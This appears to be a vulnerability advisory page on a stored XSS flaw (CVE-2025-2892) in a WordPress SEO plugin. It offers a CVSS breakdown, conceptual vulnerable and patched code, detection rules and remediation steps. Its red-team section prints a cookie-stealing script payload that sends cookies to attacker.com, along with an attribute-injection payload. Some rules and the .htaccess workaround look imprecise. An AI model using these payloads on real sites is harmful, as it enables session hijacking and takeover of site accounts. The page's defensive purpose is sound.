CVE-2025-2892
Executive Summary
CVE-2025-2892 is a Stored Cross-Site Scripting (XSS) vulnerability in the All in One SEO – Powerful SEO Plugin to Boost SEO Rankings & Increase Traffic plugin for WordPress. The flaw exists in all versions up to and including 4.8.1.1, where the plugin fails to properly sanitize input and escape output for the post Meta Description and Canonical URL parameters. This allows authenticated attackers with Contributor-level access or higher to inject arbitrary web scripts. When a user (including administrators) visits a page containing the injected script, it executes in the context of the victim’s browser, potentially leading to session hijacking, defacement, or data theft.
This vulnerability is classified as a WordPress ecosystem issue, as it resides entirely within the plugin’s codebase and does not involve the underlying web server (Apache or Nginx).
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This is a WordPress plugin vulnerability. The plugin is distributed via the official WordPress plugin repository and can be installed directly from the WordPress admin dashboard. Users should verify the integrity of the plugin by checking its checksum against the official repository. No known supply chain compromise has been reported for this specific CVE.
CVSS Breakdown & Threat Level
- CVSS Score: 6.4 (Medium)
- Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N
- Attack Vector (AV): Network – The vulnerability can be exploited remotely.
- Attack Complexity (AC): Low – No special conditions are required.
- Privileges Required (PR): Low – An attacker needs Contributor-level access or higher.
- User Interaction (UI): None – The victim does not need to perform any action beyond visiting the page.
- Scope (S): Changed – The injected script can affect resources beyond the vulnerable component.
- Confidentiality (C): Low – Limited data exposure possible.
- Integrity (I): Low – Limited ability to modify content.
- Availability (A): None – No impact on availability.
Threat Level: Medium. While the CVSS score is moderate, the ability to execute arbitrary JavaScript in the context of an admin session can lead to privilege escalation or site takeover.
Deep Dive & Mechanics
The vulnerability lies in the plugin’s handling of the Meta Description and Canonical URL fields when editing posts or pages. These fields are intended to allow users to set custom SEO metadata. However, the plugin does not properly sanitize user input before storing it in the database, nor does it escape the output when rendering the page.
Attack Flow:
- An authenticated user with Contributor-level access (or higher) edits a post.
- The attacker injects a malicious JavaScript payload into the Meta Description or Canonical URL field, e.g.,
<script>alert('XSS')</script>. - The plugin stores the unsanitized payload in the WordPress database.
- When any user (including administrators) views the post, the plugin outputs the stored value without proper escaping.
- The browser interprets the injected script, executing it in the context of the victim’s session.
Root Cause: Insufficient input sanitization and output escaping. The plugin likely uses esc_attr() or similar functions incorrectly, or fails to use them at all for these specific fields.
Vulnerable vs. Patched Code
The exact patched code is not publicly available, but based on the vulnerability description, the fix would involve:
Vulnerable Code (Conceptual):
// Storing input without sanitization update_post_meta($post_id, '_aioseop_meta_description', $_POST['aioseop_meta_description']); update_post_meta($post_id, '_aioseop_canonical_url', $_POST['aioseop_canonical_url']); // Outputting without escaping echo get_post_meta($post_id, '_aioseop_meta_description', true); echo get_post_meta($post_id, '_aioseop_canonical_url', true);Patched Code (Conceptual):
// Sanitize input before storing update_post_meta($post_id, '_aioseop_meta_description', sanitize_text_field($_POST['aioseop_meta_description'])); update_post_meta($post_id, '_aioseop_canonical_url', esc_url_raw($_POST['aioseop_canonical_url'])); // Escape output before rendering echo esc_attr(get_post_meta($post_id, '_aioseop_meta_description', true)); echo esc_url(get_post_meta($post_id, '_aioseop_canonical_url', true));
Exploitation & Lab Setup
Red Team (Exploitation)
Prerequisites:
- A WordPress instance with the All in One SEO plugin version <= 4.8.1.1.
- An authenticated user account with Contributor-level privileges or higher.
Steps:
- Log in to WordPress as a Contributor.
- Create or edit a post.
- In the All in One SEO meta box, locate the Meta Description field.
- Inject a payload such as:
<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script> - Save the post.
- When an administrator or other user views the post, the script executes, exfiltrating cookies.
Alternative Payload (Canonical URL):
" onfocus="alert(1)" autofocus="
Blue Team (Detection & Hardening)
Detection:
- Monitor for unusual changes to post meta fields, especially
_aioseop_meta_descriptionand_aioseop_canonical_url. - Look for script tags or event handlers in these fields via database queries.
- Use Web Application Firewall (WAF) rules to block common XSS patterns.
Hardening:
- Apply the official patch as soon as it becomes available.
- Restrict Contributor-level access to trusted users only.
- Implement Content Security Policy (CSP) headers to mitigate XSS impact.
- Use a WordPress security plugin that monitors file integrity and detects malicious changes.
Indicators of Compromise (IOCs)
File-based IOCs:
- Modified post meta entries containing
<script>tags or event handlers. - Suspicious entries in the
wp_postmetatable withmeta_key=_aioseop_meta_descriptionor_aioseop_canonical_url.
- Modified post meta entries containing
Network-based IOCs:
- Outbound connections to known malicious domains from the WordPress server.
- HTTP requests containing JavaScript payloads in the
aioseop_meta_descriptionoraioseop_canonical_urlparameters.
Log-based IOCs:
- WordPress audit logs showing edits to posts by Contributor-level users with unusual meta field values.
- Web server logs showing requests to pages with injected scripts.
Detection Engineering
YARA Rule
rule CVE_2025_2892_Stored_XSS {
meta:
description = "Detects stored XSS payloads in All in One SEO plugin meta fields"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2025-2892"
strings:
$meta_key1 = "_aioseop_meta_description"
$meta_key2 = "_aioseop_canonical_url"
$xss_payload = /<script[^>]*>.*<\/script>/i
$event_handler = /on\w+\s*=\s*["'][^"']*["']/i
condition:
($meta_key1 or $meta_key2) and ($xss_payload or $event_handler)
}
Sigma Rule
title: CVE-2025-2892 Stored XSS in All in One SEO Plugin
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects stored XSS attempts via All in One SEO plugin meta fields
author: Valters IT
date: 2025-04-10
references:
- https://nvd.nist.gov/vuln/detail/CVE-2025-2892
logsource:
category: webserver
product: wordpress
detection:
selection:
http.method: POST
http.url|contains: '/wp-admin/post.php'
http.body|contains|all:
- 'aioseop_meta_description'
- '<script'
condition: selection
falsepositives:
- Legitimate use of JavaScript in meta descriptions (unlikely)
level: high
Suricata Rule
alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-2892 Stored XSS in All in One SEO Plugin"; flow:to_server,established; content:"POST"; http_method; content:"/wp-admin/post.php"; http_uri; content:"aioseop_meta_description"; http_client_body; content:"<script"; http_client_body; classtype:web-application-attack; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Disable the plugin until a patch is available.
- Restrict Contributor-level access to only trusted users.
- Audit existing posts for injected scripts in the Meta Description and Canonical URL fields.
Long-term Fix:
- Apply the official patch from the plugin vendor as soon as it is released.
- Implement input validation and output escaping for all user-supplied data.
- Regularly update all WordPress plugins and themes.
Workaround:
- Use a Web Application Firewall (WAF) to block requests containing
<script>tags in theaioseop_meta_descriptionoraioseop_canonical_urlparameters. - Add the following to your
.htaccessfile (if using Apache) to block common XSS patterns:RewriteEngine On RewriteCond %{REQUEST_METHOD} POST RewriteCond %{REQUEST_URI} /wp-admin/post.php RewriteCond %{HTTP_REFERER} !^https?://(www\.)?yourdomain\.com [NC] RewriteRule .* - [F]
Valters IT
Securing Digital Frontiers
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.